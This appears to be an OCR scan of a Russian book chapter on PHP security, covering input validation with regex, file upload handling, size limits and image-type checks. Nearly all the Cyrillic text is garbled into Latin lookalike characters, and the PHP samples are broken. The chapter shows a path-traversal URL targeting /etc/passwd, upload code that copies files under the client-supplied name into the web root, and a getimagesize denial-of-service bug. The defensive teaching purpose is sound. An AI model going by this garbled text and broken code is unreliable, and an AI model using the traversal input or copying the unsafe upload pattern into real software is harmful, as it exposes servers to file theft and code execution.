BepkH OyaeT owmnbka, B 3TOM Cily4yae cUeHapuil He JO/MKEH nepeaaBaTh HaHHBIE
CUCTEMHOMY MHTEpPIIPETAaTOPY KOMaHA.

Ecnu HeobxoauMO NONYUYHTH OT 110J1b30BaTENS aIpeC INEKTPOHHON MOYTHI, TO ANf
HEro0 MOXHO HCIOAb30BaTh CNEAYIOLIEE PETYIAPHOE BblpaXKEHHE:

~([a-zA-20-9\. \-1+@[a-2A-Z0-9\._\-1+(\.[a-zA-Z0-9]+)+)*$
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3TO perynapHOe BbIpaXXEHHE ITOXO0XKE Ha NpeabiAyLIEe, HO UMEIOTCA U HeGoMbLIKe
oTauuus. [laBaiiTe pazbepem ero no yactam:

O ~(la-zA-20-9\._-]+ — B Hauya/ne CTPOKH A0 CHMBOJIa "@" UzEeT WMA TIONB30-
BaTeJia NMOUYTOBOTrO fALHKA. 34ech MOryT ObITb JiloObie pa3pelleHHbIE CHMBOIEI,
HO NMPH 3TOM HX HE AOMKHO ObITh MeHbILIE OAHOrO, MTO3TOMY B KOHLE MPUCYT-
CTBYET CUMBOJT "+";

O (a-zA-20-9\._-)+ — UMH MOYTOBOrO cepBepa, KOTOPOe HAET NOCAE CHMBOJA
"@", NogYMHAETCA TeM Xe MpaBU/IaM, YTO W UMS MOJL30BATEAS, NMOITOMY 3T
4acCTb COOTBETCTBYET NMpeablAyLIei;

O (\.[a-2A-20-9)+)*$ — uMA JOMeHa. 3aecb MOryT ObiTh uHdpbl U GYKBEHL.
B HurepHere mbl pabotaem ¢ 6ykBeHHbIMH HMEHAMH JOMEHOB, HO B JOKa/b-
HbIX CETAX WHOrIa BCTpevaroTes u Uvdpossie. [1py 3TOM HMA 10MEHa sBaseTCS
He 06sA3aTeNbHbIM, O YeM TOBOPHT CHMBOA "*".

Kak BuauTe, Bce A0CTaTOUHO NMpocTo. [NaBHOE, NPaBUALHO HAMMCATh PEryNApHOE
BbIpaXXeHHeE, u BbI H3baBuTe ceba 0T MHOKecTBa Npobnem. Ho He 3abniBaiiTe Tuia-
TEAbHO TECTHPOBAThL CBOH CUEHApHii, NOTOMY 4TO OLIUOHUTLCA B TAKOM KOHCTPYK-
UMK JOCTATOYHO JIETKO, a HAHTH oWHOKY — npobneMaTH4HO.

KoneuHo, He BCe A3biky MPOrpaMMHpPOBaH1A NOMIEPKHUBAIOT PEryAspHbIE Bbipa-
keHus. B 3ToM crayyae Bbl MOXeTe BOCRONL30BaTLCSA MPOCTBIMH QYHKUMAMH MO-
HCKa BHYTPH CTPOKY M 3aMEHBI, YJalleHus ONacHbIX CHMBONOB HIH NPOCTO Npeny-
NpexaaTh 10/1b30BaTeNs 0 BO3MOXHBIX Npobnemax.

Uto cnenyer BuibpaTh: yaaneHue onacHeix CHMBOMOB W NPOJOMKEHHE BHITIONHE-
HUA CuEHapHs waHd cooluenne 06 outubke U HeMeUIeHHOE npepbiBaHue paboThi?
Bropo# BapHaHT HaMHOro MpowIe W Yauie Bcero s BuiOWparo uMeHHO ero. Ecnu
ANaHHble HEKOPPEKTHBI, TO MpOLLe NPOCHIHANIM3HPOBaTL O HEMPaBUABLHOCTH BBOJAA,
Y€M MNbITAaThCA NMPHBECTH HX B HAAJIEKALLHIA BH/, YTO, B CBOKD O4Yepe/lb, MOXKET MO-
POAYTL HOBbIE OLUMOKH.

Ho B HexoTopbIX cAyyasx HaMHOrO Ny4lie NOMnpoCHTL MONb30BaTEAA BBECTH JaH-
1ibl€ MOBTOPHO. Jlefio B TOM, 4TO owmtubkxa MOKET OBITh CAENaHHOM HEe CrieuUaibHO,
a cnydano. JIonycTHM, 4TO NONBL30OBATENDb 3aMONAHAN (POPMY ANA perucTpauvy Ha
Web-caiiTe u B MMEHH NONbL30OBaTENs UNM Napone ykaszal CMMBOJ, KOTOPbIH Bbl
pewnny 3anpetuth. Ecnu npocto coobuuTe 06 owvbke, To, BO3MOXKHO, NOBTOPHO
3a0/HATL JaHHbIE MONb30BaTENb YXKe He cTaHeT, ocobeHHo, ecnu dopma gocTa-
TouHO GoNbWas H COUEPIKUT MHOXKECTBO napameTpos. He noneHurecs, a caenaiire
BO3MOXXHOCTb MOBTOPHOrO BBOAA AaHHbIX. OToOpa3uTe Ty ke (opMy U 3alI0MHUTE
BCE 110014 NoNyueHHbIMH AaHHbIMK. [lonb3oBaTento ocTaHeTes TOJILKO NOMIPABHTD
1ICKOPPEKTHO yKa3aHHOE 3HaUY€HHE, H Bbl C YCIIEXOM [IONYUUTE HOBOI'O NOCTOAHHO-
1'0 1HOCETHTENA,
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4.3. 3arpys3ka paunosB

He 6yay roBoputb, YTO 3arpy3ka ¢aiifioB omacHa, a Jyyile CKaXy, 4YTO OHa
cBepxofacHa. 3aaaya nporpaMMHCTa OrpaHH4MTh BO3MOXHOCTb 3arpy3KH AaHHbBIX
Tak, 4ToObl Xakep HE CMOr' 3arpy3uTb HHYEro, YT0 OH CMOXKET HCIIONb30BaTh A/
B3/IOMa.

Kak u mobas npyrasa ornpaska nauHbIx, Qaiinsl MoryT nepepasathcs Web-cepeepy
METOJaMH PUT WJIH POST. MeTon POST Mbl yxke paccMaTtpuBand (cM. pazo. 3.4.2),
a BOT PUT I1OKA €I HET.

MeTton PUT coxpaHsaeT AaHHbie 110 onpeaeneHHoMy URL W xopoiuo noaxoaur ais
my6nnkauuu RaHHbIX Ha Web-cepeepe. Tonbko ecThb ofHa mpoGnema: 3ToT MeTox
He pabotaer B PHP 4 u3-3a oluin6kH; K TOMY XKe, OH MJIOXO NOAXOOMT AnA mepena-
uy ¢aitnos u3 HTML-dpopm. Metoa posT Gonee HapexHbI#i U AOCTATOUHbIH, MO-
aToMy Oy€M HCIIOAB30BATh TOABKO €ro.

Tenepe nocMoTpuM, Kak pabotaer nanubid Meton. Haunem ¢ HTML-¢popMmb nns
OTIIpaBKH:
<form action="http://192.168.77.1/1/post.php" method="post"
enctype="multipart/form-data">
Gaitnul Ons OTNpaBKMU
<br><P><input name="filel" type="file">
<br><P><input type="sulmit" value="Send files">

</ form>

B cBoiicTBax ¢opMbl IOMHUMO action C YKa3aHHeM cLeHapusa o6paboTku U MeToAa
OTIpaBKH HEOOXOAMMO yKa3aThb CBOHCTBO enctype, KOTOPOE onpenenser, B Kakoi
KOAWPOBKE JO/DKHbLI OTIpaBnATbCca AaHHbie. [lo yMoavaHWIO OHO COAEPXKHT
application/x-www-form-urlencoded, T. €. TeKyllyl0 KoagupoBky @opmbl. Ho ans
¢aiinos, ocobeHHO OUHApHBIX, KOAUPOBKA HE UCIIOAb3YeTCH, NO3ITOMY HeobXoau-
MO U3MEHHUTh 3TO CBOHCTBO HA multipart/form-data.

Jlnsa BBOAa UMeHH Qaiina UCNoAb3YETCA SAEMEHT ynpaBieHus input. Jlna ynober-
Ba THN (CBOMCTBO type) 3TOro 3jieMeHTa paBeH file. DTOT TUN MOAREPKUBAETCA
SonbiunHcTBOM Opay3epoB W oToOpaxkaeT Ha 3KpaHe He TOAbKO I10je BBOJA, HO
¥ KHONKY Ana Buibopa ¢aiina. [lo HaxaTuio ITOH KHOMKK Ha skpaHe Oyaer noss-
NATLCA CTAHAAPTHOE OKHO BbibOpa daiina (puc. 4.4).

A kak Oyzer npoMcXoouThL cama fnepeaava AaHHbIX? bpay3ep He MOXKET CO3AaTh CO-
eguHeHne ¢ (ailnoM cueHapHs W nepeaasBaTh eMy JaHHbie. JTO OyAeT CIMILKOM
CAQIKHO, @ B HEKOTOPBIX CITy4asX npocTo HeBo3MoxHO. Ho Obio HalAeHO Benwko-
JIeNHOe pelleHHre: Moce Ha)kaTHa KHOMKM OTIIPaBKU JaHHbIX (akin 3arpyxacrcs Bo
BpPEMEHHYIO AUPEKTOPHIO ¥ TOABKO TOrAa 3aMyCKaeTcs yka3laHHbIA CUeHapHil.
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Puc. 4.4. ®opma oTnpasku AaHHbIX

M3 cueHapus Mbl MOXEM YBHIETh JAaHHbie (aiina 4epe3 MacCHB
SHTTP_POST_FILES. JTOT MAacCHB fBJsAETCA ABYXMepHbiM. [lepBbifi ypoBeHb
ornpeaenseT KMeHa none, B KOTOPbIX HaxoAATcA napamerTpsl (aiina. OgHa popma
MOXXET OTMPaBNATb HECKONbKO (hailNoB, MOITOMY SHTTP POST FILES (none) yKa3bi-
BaeT Ha HYXKHbI# HaM ¢aiin. B ¢popme Bbllle none ang BBoaa MMeHu Qaitna uMe-
eT UMA filel, HO3TOMY U3 CLICHapHa K 3TOMY ¢aiiny oOpawiaemMcs Tak:
$HTTP_POST_FILES{"filel")

Bropo#i ypoBeHb ompeaenser CBOWHCTBa 3arpyeHHoro ¢aiina, 3gech ecThb cie-
RYIOLIMeE 37IEMEHTbl MaCCHBA:

0 tmp_name — HM3A BPEMEHHOIO (bal‘fma;

O name — UMK (Pailna ICTOYHHKA HA MALUHHE KIIUEHTa;
O type — THn ¢aiina;

O size — pa3mep daiina.

HUrak, urobbl yBuaers umMs BpeMeHHOro ¢aitna, Kyaa 6blid 3arpyKeHbl JaHHbIE,
MULIeM:

$PHP_POST_FILES["filel"] ["tmp_name"]

Ho 310 ele He Bce. BpeMeHHbli daiin Ha UNIX-cepBepax yalle Bcero co3fjaeTcs
B JMPEKTOpHH /tmp. D10 06lenocTynHas AMPEKTOPHA, KyAa MOTYT MHCaTb BC
[0NIb30BaTENH, YTO He oueHb xopowo. K ToMy xe daiin, coaepxawuiics B 710k
rarike, MoxeT ObITh ynaneHn cucremoii. HamHoro agdextupHee Oyner B cucHap
Y4CCThb 3TOT MOMEHT W CKOMNHpOBaTh (pakiyi B CrieLiHaibHO BbIACNEHHYIQ AN /1a
HBLIX LeNed THPEKTOPHIO.
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Cnenyiowuii mpumMep nokasbiBaeT, KaK MOXXHO NoAy4uTs ¢aiin oT mosnb3oBaTend,
CKOMUPOBaTh ero B AUpekTopHio /var/www/html/files u oro6pasutb uHpopmaLHIO
O HEeM:
<?php
print ("<P> File Size: %s", SHTTP_POST_FILES["filel"](["size"]);
print("<P> File Type: %s", SHTTP_POST FILES(["filel"]) ["type"]);
print("<P> File Name: %s", SHTTP_POST_FILES("filel"])(["name"]);
print ("<P> Temp File Name: %s",

$SHTTP_POST_FILES("filel"]["tmp_name"]);

if (copy($PHP_POST FILES("filel"]["tmp_name"],

" /var/www/html/files/".SHTTP_POST FILES["filel"]["name"]))
print {("KonupoBaHue 3apepuieHo") ;
else

print ("Oumtka xonupoBaHua odaina 1</B>");

?>

3arpy3ka MOXeT CTaTb HEBO3MOXHOM, €CY OHa OTKIIOYEHA B KOHQUTyPaUHOHHOM
daiine php.ini. OTkpoiiTe 310T aiin U NpoBepbTe AUPEKTHBY file_uploads. UTO-
Obl ¥METL BO3MOXKHOCTb 3arpyxaTh ¢ainbl Ha Web-cepsep, 3ToT napamerp non-
KeH ObITh BKIKOUYEH (on). Ecnu Bawu cueHapuu HE HCNOAB3YIOT 3arpy3ky, To ybe-
JHUTECH, YTO ITOT MapaMeTp BoIKatOoUueH (of f).

3arpy3ka MOXeT 3aBepILUHTLCA OLIUMOKOH ¥ MPH HEXBATKE MpaB Ha 3aMuchb B IHPEK-
TOPHIO: ECIH Y BaC HET npas, TO ¢ain co3gats OyaeT Henb3s.

Ecau Bbl ucnoab3yere rnobanbHble nepeMeHHbie (14 3TOro B KOH(HrypauuoH-
HOM (paline AWpeKTHBa register_globals AoMkHA ObITh BKIOYEHA (on)), TO
K flapameTpaM 3arpyxeHHoro gaina MOXHO MONY4YuTh AOCTYN 4Yepe3 CAEAYIOLIHE
repeMeHHsble:

O sfilel — 1UMs BpeMeHHOTO (aiina;

O $filel_name — uMA 3arpyxeHHoro daiina;

O sfilel_size — pa3mep ¢aina;

O sfilel_type — Tun ana.

Taxkum o6pa3om, KOJ 3arpy3ky MOXKET BbITIAAETb CNedyOWNM 00pazom:

<?php
print("<P>Temp file name $filel");
print("<P>File name $filel_name");

print ("<P>File size $filel_size");
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print ("<P>File type $filel_type");

if (copy($filel,
"/var/waw/html/files/".$filel_name))

print ("<P><B>Complete</B>");

else

print ("Oumtka kKonupoBaHua odaina 1</B>");

7>

[Ipexxne yem pabotaTh ¢ daiiom yepe3 aBTOMAaTHYECKH 3aPErHCTPHPOBAHHBIE ITE-
peMeHHbIe, Bbl JOMKHBI NPOBEPHTb, NaHHbIH (aiin AeACTBUTEAbHO 3arpy>KeH WK
JaHHas nepemeHHas 6plia NpocTo CO34aHa B OTBET Ha mnapametp u3 ctpoku URL.
Hns 310ro Hy’)XHO BOCIOAb30BAaTLCA NApaMeTpPoM file_name. DTO OY€Hb BAXKHO,
BedAb eciu ykasarh caenyroowuii URL, To cueHapuit ckonupyer daitn naponeii:
http:/servername/upload?file_name=../.../.././..[.Jetc/passwd, uTo B ganbHelilem
NO3BOJIUT €r0 NMPOCMOTPETD.

[TonpoOy#iTe BLIMOMHUTL CUeHAapWii U MOCMOTPETL Ha WMA BpeMeHHoro daiina.
51 zarpy3un daiin file.txt, a BpemenHbiii ¢aiin nonyuun umsa /tmp/phpmllXXc.
Web-cepBep H3MeHSET HMA 10 CBOEMY YCMOTPEHHIO, NOITOMY ero HyXHO OpaTh U3
napameTpa $filel_name, T. €. peanbHOTO WMeHH (aiina, nepeaaHHoOro OT KIUEHTa.

Tenepr nocMoTpuUM npaBa AOCTyna 3arpyxeHHoro daiina. Cnenaem 310 ¢ mo-
mouibio CyD FTP Client XP (www.cydsoft.com). [Toainodaemcs k Web-cepsepy,
BblaENseM 3arpyxeHHbili ¢aiin u BuiGupaem MeHio Remote | File Permission
(puc. 4.5). ObpaTuTe BHHMaHHE, YTO pa3pelleHo NpakTHYecky Bee. Ecin cpaBHUTD
3TH npaBa C NpaBamMH AMPEKTOPHH, KyJa IPOH30LUNA 3arpy3ka, TO Bbl YBUAHUTE, YTO
OHH HIEHTHYHBI. Bbl DOMKHBI YHYHTBIBATh 3TO ¥ FIOCHE 3arpy3KH KOPPEKTHPOBATD
npaBa, a UMEeHHO, ybupaTb mpaBO HAa 3anuch B ¢daln U BbINOAHEHHE, 4TOOLI
BINOMILMK HE CMOT MOAMEHHTb CONEPKMMOE HITH BbINOAHWTB 3arpyKeHHbIH CLe-
napuii. O npasBax gocryna B Linux MOo)xxHO npoudTaTh B Moeli kHure "Linux rna-
3aMu xakepa' [2].

PaccMoTpuM elle OaHY KilacCHYECKylO 3aJa4y — OrpaHuueHHe pa3Mepa 3arpy-
)kaeMoro ¢afna. 3To MOXKHO caenaTh Tpemsa crnocobamu: ¢ MOMOLIBIO OrpaHUye-
nusa pasmepa ¢aiina 8 HTML-dopme, Ha ctopoHe Web-cepeepa 1 ¢ noMoLbio na-
pamerpa KkoHdurypaudoHHoro ¢aina. Jlna orpanuuyenus B HTML-dopme
ncodxoaumMo 100aBUTE HEBUAMMOE NOJE C UMEHEM MAX FILE_SIZE, a B KQ4eCTBE
J11aUCHHUA yKa3aTb HY)XHbIi pazmep:

~input type="hidden" name="MAX_FILE_SIZE" value="300">

I3 jlmoM npuMepe B KauecTBe MaKCMManbLHOIO pasMepa ykasaHo 3natichye 300 Gait-
108, (Paiabl 60sb11ero pazMepa 3arpyxaTtbhca He Oyayr. Jra crpoxa JJOJDKHA HILTH
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A0 ONHcaHusa nojs BBoAa HMeHH daiina. Takum ob6pasom, dopma otnpasku daiina
Oyaet BeirnAgeTh CaeayOLIHM 00pa3om:

<form action="http://192.168.77.1/1/post.php" method="post"
enctype="multipart/form-data">
OrnpaBpka ¢amnos:
<input type="hidden" name="MAX_FILE_SIZE" value="300">
<br><input name="filel" type="file">
<br><input type="submit" value="Send files">

</ form>

Puc. 4.5. Mpasa gocTyna Ha 3arpyxeHHbivi pann

ITonpobyiite Tenepb 3arpy3uTts ¢ain MeHblue paspelieHHOro pasmepa. Ymnpasre-
Hue OyaeT nepeaaHo CUEHapHIO, HO NpH 3ToM (aiin He GyneT 3arpy)keH, NOITOMY
napametp pasMmepa ¢aiina $filel_size Oyaer paBeH HyNIO, a UM BPEMEHHOrO
¢aiina Sfilel_size Oyaer paBHO none. Takum 06pa3zom, B CUEHAPHH KEATENBHO
106aBUTL NIPOBEPKY, MPEXAE YeM NPOUIBOAHTE KONHUPOBAHHUE:

if ($filel=="none")

die ("¢ain crnuvwxoM Sonewoin") ;

HpoGnema ITOro ME€TOJa 3aK/JKH4YacTCA B TOM, YTO XaKEpP MOXKET JICTKO YAAJIHUTh
HEBHIAHUMOC MNONE C OrpaHH4YCHHEM, BEADb MMPOBEPKA 6)/}18"[‘ OPOUCXO/IHTL Ha CTOPOLIe
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xiuenta B HTML-¢gopme. [loaTroMy nyuille mpoH3BOAMTL NMPOBEPKY Ha c*ropo:-ie
Web-cepBepa, koraa daiin OyaeT 3arpyxeH:
<?php

if (sfilel_size>10*1024)

die ("CivuoxoM Goneumoll pasmep ¢daitna") ;

if (copy($filel,
*/var/waw/html/files/".$filel_name) )

print ("<P><B>Camplete</B>");

else

print ("Oumbka komuMpoBaHua daina 1</B>");

?>

B sTOM nmpuMepe Mbl B Hauanle CLEHApHA NMpoBepaeM, YTOOLI pasMep 3arpyKeHHO-
ro ¢aiina He 6b1a 6onee 10 Kbaiit (10 ymuoxxennoe na 1024 Gaiita, 1. e. 1 K6aiiT).
[TpeMMyLIECTBO 3TOr0 MeToAa: MPOBEPKY HEBO3MOKHO yOpaTh, €CAM HE HMETH
AOCTYMAa K UCXOAHOMY KOZY CUEHAPHA U BO3MOXXHOCTH €ro pe1akTHPOBaHMUA.

[Nocnepuuit cmoco6: H3IMeHEHHWE AUPEKTUBHI upload_max_filesize KOH(HUrypa-
uvdoHHoro ¢adina php.ini. Cneayiomuii npuMep, ycTaHaBAWBAET MaKCHMAabHBIA
pa3mep B 2 M6aiiT:

upload_max_filesize = 2M

HenocraTkoM Bcex MeromoB mnposepku Ha Web-cepsepe aBasgerca TO, YTO €CJH
110/1b30BaTeNb BhiOeper cauiukoM Oonbiuoii gaiin, To oH OyAer 3arpyeH H TOAbKO
NocJie 3TOro CTaHeT W3BECTHO, YTO pa3Mep CHIIKOM Gonabluod. JTo TpaTta Tpadu-
Ka U BPEMEHH, YTO MOXKET HE MMOHPaBUTHCA AO6POMOPANOUHLIM MOAL3OBATENAM

pawero Web-caiita. J]abn 3koHOMHTbL TpadHk, Aenaiite nposepky U Ha Web-
cepBepe (414 3aLHTHI OT XaKEepPOB), U Ha CTOPOHE KJIHEHTA.

4.3.1. MNpoBepkKka KOPPEKTHOCTH
cdannos nzobpaxeHnn

Panee Mbl BBIACHWAM, 4YTO 3arpyxaemsbie (aiiabl noasepxeHsl npobaeme npas
aoctyna. Urobw daitn MokHO 6bINO 3arpy3uTh, HA AUPEKTOPHIO AOMKHBI ObITH
YCTAaHOBJIEHb! MPAaBa Ha 3aMUCh A1 BCeX NoAb3oBartesneil. 3arpyxeHHbiit ¢aitn na
YMONYaHHIO MOXET UMeTh MpaBa Ha BbinoAHeHWe. Takum obpasoM, eciu xakes
1arpy3uT CBOM cueHapHii B CMOXKET BbIMOAHUTL ero Ha Web-cepsepe, To 310 yu
B3J10M.

Yrobbl Xakep He CMOT 3arpy3uTh HUYEro OrnacHoro, HeobXoIUMO CICAWTL 3a COep-
KHMBIM 3aKauuBaeMbIX AaHHbIX. OueHb yacTo Ha Web-caifTax HCNoNb3yeTCs BOIMOX-
HOCTH 3AKAYKH (haitnoB u3obpakenuii. Hanpumep, Ha Gopyme MoXKeT NPeaOCTaBNIATLCA
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BO3MOXKHOCTb [10/1b30BaTENAM 3aKayWBaTh CBOM M300paxkeHus, koTopbie OymyT
otobpaxatbca Haa coobLuieHUaMH. Ho npH 3TOM Mbl fonKHbI ObITh YBEPEHHBIMHU,
4yTO B (padne medcTBUTENBHO rpaduyeckue JaHHble, a HE TEKCT H, TeM Gosee, He
cueHapuii. Kak B atoM y6enutbea?

OnHo# nposepku daiino HUkoraa He O6biBaeT gocratouHo. HyxxHo o6Ga3arenbHo
HECKOJIbKO 3TafoB KOHTPOAA JaHHBIX, IIOTOMY YTO OJAHH ypoBeHb 0GOHTH Bcernaa
HaMHoro npoie. PaccMoTpum npumep, KakHe NMPOBEPKH MOXKHO caenaTh Ans dai-
noB U300paXkeHHiA.

IMonpob6yitre 3akauaTb GIF-¢aiin va Web-cepBep ¢ moMoLibl0 pacCMOTPEHHOTO
paHee (cm. pazo. 4.3) cueHapus. B none type Oyaer coaepxaTbCa TEKCT
"image/gif". JI0 3HaKa CA3il HAXOOUTCA THI image, a IOC/E MOXKHO YBHAEThH pac-
wuperue daina. Ina JPEG-gaiinos nocne cisiia MOXHO yBHAETb jpg, jpeg WK
pipeg, a ana PNG-gdaiina sto 6yner png. Bece aTi TUnel noasepxusaiotca 601b-
LIHHCTBOM COBPEMEHHBIX Opay3epoB, H HMEHHO HX MbI OyleM NpOBeEpATH.

A Ttenepb nonpobyem nepeMMeHOBaTb NMPOCTOH TeKCTOBBIA (aiin co cueHapHem
B (paiin ¢ pacitupenvem .gif U 3akayaem ero Tem xe cueHapuem. B nepemenHoi
THra Oyaer cojepxarbcid TEKCT 'plain/text”. Hecmorps Ha paciuvpeHue
rpaduyeckoro ¢aiina, mporpaMma BUAMT, YTO TUN (aiina TekcToBbli. [lony4aercs,
YTO HEJNb3A BEPUTH PacillUpPeHHUIO, a BOT THITY (aiina MOXKHO 0BEPATS. !

B nuctuure 4.2 npuseneH npuMep cueHapus, B KOTOpoM Tun ¢aiina pasbupaercs.
Ha cocTaBasiolHe (10 U MocAe CA3LlA), U IPOUCXOAUT NPOBEpPKA /I0OCTOBEPHOCTH!
paciuHpeHuds W Tymna. J1nsg Toro 4Ttobbl pa3buTh TEKCT TUNA (paiina yaa4Ho noaxoauT!
$YHKUMA preg_match C peryjiapHbiM BbIPAXKEHHEM ' ([(a-z]+)\/[x\-]1*([a-2])+) ",
3aTeM NMPOUCXOAMT MPOBEPKA C MOMOLIBLIO ONepaTopa switch MOAYHEHHOrO THMA.,
Ecn¥ OH He COOTBETCTBYET HM ONHOMY M3 pa3pelleHHbIX, TO BbI3bIBAETCA METOA
die Ang 3aBepileHUs paboThl CUEHapHA. |

<?php

preg_match("' ({a-z]+)\/[x\-]*([a-z]+)'", $filel_type, S$ext);
print ("<P>Sext[1]");

print ("<P>Sextc[2]");

switch(Sext(2]) .
{

case "jpg":

case "jpeg":

case "pjpeg":
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case "gif":

case "png":

break;

default:

die("<P>This is not image");

if (copy($filel,"/var/www/html/files/".$filel_name))
print ("<P><B>Complete</B>");

else

print("<P>Error copy file 1l</B>");

?>

Ho storo He mocratouHo. He nomewnaer no konuposaHus ¢aiina nposepurhb pas-
Mep uzobpaxenud. J{axe eciu y Bac Het OrpaHH4YeHHA Ha pasmep daiina, cneayer
BbI3BATh (QYHKUHIO getimagesize. DTOH (PyHKUMH nepemaerca nyth K ¢dainy,
a B pe3yabTaTe Mbl [TOAYYaeM pa3Mep Haxoasuierocs B HeM u3obpaxkenusa. Ecnu
B MOMEHT Ofpe/IeNeH!s pa3MepoB NMpou3oLUia obka, To epen HaMy He rpadHye-
ckuil ¢aiin, a obmad. Craeaylounii npumep MokasbiBaeT, KAK MOXHO BHITIOAHUTD
NpoOBEPKY KOPPEKTHOCTH (haiina yepes ornpeneneHue paimMepa H3oOpakeHus:
$im _prop=getimagesize($filel);
print ("<P>$im prop[0])x$im prop(1]");
if ($im propl0]1>0).
{
if (copy($filel,"/var/www/html/files/".$filel_name))
print ("<P><B>Complete</B>");
else
print ("<P>Error copy file 1</B>");
}
else
die("Image size error")

DyHKuusa getimagesize BO3BpallaeT MacCUB M3 CBOMCTB rpaduueckoro aiina,
B sToM mMaccHBe 31€MEHTbI HYMEPYIOTCS C HYJSl H COEpKaT Caeayloulee:

O wwupuHy usobpaxeHus;

O BbICOTY M300paXkeHHS;

) ram, rae 1 — GIF, 2 — JPG, 3 — PNG, 4 — SWF, 5 — PSD, 6 — BMP, 7 — TIFF
(¢opmar Intel), 8 — TIFF (dopmar Motorola), 9 —JPC, 10 —JP2, 11 — JPX;

[ CcrpoKy BH/la: height="yyy" width="xxx".
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Takum o6pa3oM, HaM HY>KHO NPOBEPUTH, €CAH LUUPHUHA UAU BBICOTA PaBHLI HYJIO,
TO 3TO He U300paKkeHHe WK ero (opMarT NPOCTO HE U3BeCTeH (PYHKLMH getimagesize.
H3obpaxxeHue He JOMKHO UMETh LUPHHY MM BBICOTY, PABHYIO HYAKO, HHA4YE OHO
6ecCMBICIEHHO HAH COAEPIKUT HEKOPPEKTHBLIE JAHHbIE.

Hpoitvas nposepka Gonee Hage)kHa, HO HE ABAAETCA pelUCHHUEM Bcex mpobsieMm.
Hanpumep, HenasHO Obina HalioeHa oiinbka B QyHKUHAX onpencneHUs pasmepa
usobpaxenus B PHP. [Ha, ¢pyukuuit Heckonbko. [lna kaxaporo THna ¢aina ceos
¢yHKUHMA, HO BCe OHU 0OBbEAUHEHDBI B OAHY getimagesize. Ecau cueHapHio nepe-
aatb rpaduueckuii daiin TIFF, B kotopom 6yaeT yka3aH pasmep —8, To cueHapuii
nornagaeT B 6eCKOHEUHbIH UHKA H BBLINOAHACTCA, NMOKA HE MOTAOTUT BCE PeCypCh
cepsepa. TakuM obpa3om, oauH xakep Moxer 6e3 npobaem npowasectn DOS-
araky. Ouwubka ectb ¥ B dyHkUun 06pabotku JPEG-(aiina.

Sl noHumMato, 4to owrbka B PYHKUHH getimagesize — 37O npobaema paszpabor-
yukosB PHP, a He Hawero cueHapus, HO npobnema ecThb ¥ 3aKpbIBaTh HA HEE riasa
HeNb3s, NOITOMY Halla 3a/Ja4a CeauThb 3a 6€30NacHOCTBIO HE TOALKO CUEHApPHEB,
HO W HCIIOAb3yEeMbIX NPOrpamMm ¥ CBOSBPEMEHHO X 00HOBNATL. Kakum Ob1 vy Gbin
Be3onacHbIM cLeHapHii, TpobneMb! MOTYT HaCTHIHYTb HAC C APYTHUX CTOPOH.

4.3.2. NpoBepKa KOPPEKTHOCTH
TEeKCTOBbIX hannos

Teneps noroeopum o 3arpy3ke TekCTOBbIX ¢aitnos. Hanpumep, Ha popyme MOXKHO
NpeaoCTaBUTh NMPOrpaMMUCTaM BO3MOXHOCTbL OOMeHWBaThCa ¢alinamu ¢ npume-
pamu koga. Ecnu xakep MMeeT BO3MOXHOCTBL 3arpy3dTh (aitn Ha Web-cepsep,
u 3TOMY (ailny ycTaHaBNYBalOTCA NpaBa Ha BbINOJHEHHE, TO IOMHUMO TEKCTa Xa-
Kep MOXET 3arpy3uTh HeoOxoaumbiii ana s3noma cueHapuii. Ilocne atoro ocraer-
Cfl TONLKO Yy3HaTh, Ky/a Obin 3arpyxed ¢aln, ¥ BbINMONHHUTB €r0.

Haxe ecnu daia He umeeT npaB Ha BbINOAHEHHE, HO MOAKIIOYAETCA CLLEHAPHEM
¢ AOMOLLLIO PYHKUHH include HIHM require, TO, kakoe Obl K 6bIN0 y dafina pac-
wupenue, PHP-koa B nem OyaeT BbINONHATLCA.

Jlaxke ecny xakep He CMOXET BbINONHATL (aitn, s 661 He pexomeHaoBan Ol peanu-
30BbIBATb TAKYI0 BO3MOXHOCTb B CBOEM ClieHapuH. JIeno B TOM, 4TO Xakep MOXKET
MCI10J1b30BaTh 3arpy3Ky U /N MnpecieqoBaHus CNeAYIOUIUX KOPBICTHBIX LENEH:

O ucnonb3osaTbh Baw Web-cepBep ansa xpaHeHus cobctBenHbix ¢aiiios, nupar-
CKHX MPOrpaMM u Apyrux aaHHbix. J[abel u3bexxatb 3TOro, MOXHO OrpaHHYHUTD
3arpy»aembiid ¢ain B pasmepe;

(0 auckoBOe MNPOCTPAHCTBO He OECKOHEeYllo, MO3ITOMY XaKep MOXET 3arpyiuThb
na Web-cepsep mMioxecTso (aitfioB 1 yepe3 Kakoe-To BpeMs JHCK MOXKE! OhiTh
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3
nepenosHeHHbIM U Web-cepsep HauHer paborath ¢ mepe6osMH MM BHIAAET
U3 CTpoOA.

HmenHo noatomy g 66l Boo6LIE HE peKOMEHAOBAJ pealii30BLIBATE 3arpy3Ky (Qail-
nos. Ho paxxe ecnu B peliMINCh HA 3TO, TO OrpaHUYbTE pasmep daiina kak Mox-
HO MEHBbLUMM 3HAYEHHEM U 3arpykaiiTe B JUPEKTOPHUIO, KOTOpas He OyAeT BXOAUTD
B kopeHb Web-cepBepa, T. €. He 6yner goctynHa uepes 6payzep.

4.3.3. CoxpaHeHue channos B 6a3e gaHHbLIX

Kak MBI yxe BbIACHHIH, [IPH 3arpy3ke (aiinioB OnacHOCTb NPeAcTaBAAIOT €ro UMA
U coaepkumoe. C MoMOLIbI0 UMEHH Xakep MOXET yka3zaThb Ha cucremubiii ¢aiin
H B 3aBUCUMOCTH OT ACHCTBHH (a Taloke npas AOCTYyIla B CHCTEME), BbITOTHACMBbIX
cueHapHem, MOXET TPOCMOTPETh 3TOT (aiin WK nepesanucaTth. Takke xakep Mo-
KET MOJYHHUTh BO3MOXHOCTb COXPAHUTh COOCTBEHHDbIE JAHHBIE WIH 3arpy3HTh
3I0BpEAHbIH KOA.

A 4TO ecnu coxpaHaATh ¢aiinn B Oaze maHHBIX? Torma e 6ymer obpalneHus
k ¢daiinoBoli cucTeMe, a 3HA4UT, He OyNeT BepOATHOCTH YBHUAETh AW Nepesamnu-
carb cucTemMuble ¢aiinbl. Ho He 3abbiBaeM, uTO 3arpy3ka NPOMCXOAMT BO BpEMEH-
HY!O OUpPEKTOpHIO, a 1MOoTOM OTTyAa yXe B 6a3zy manubiX. Tak 4to obpauiesui
k ¢palinoBoi cucTeMe He U3bexars.

EauxcTBenHas npobseMa, KOTOpyIO BbI pelllaeTeé B 3TOM cjy4ae: BO3MOXKHOCTb
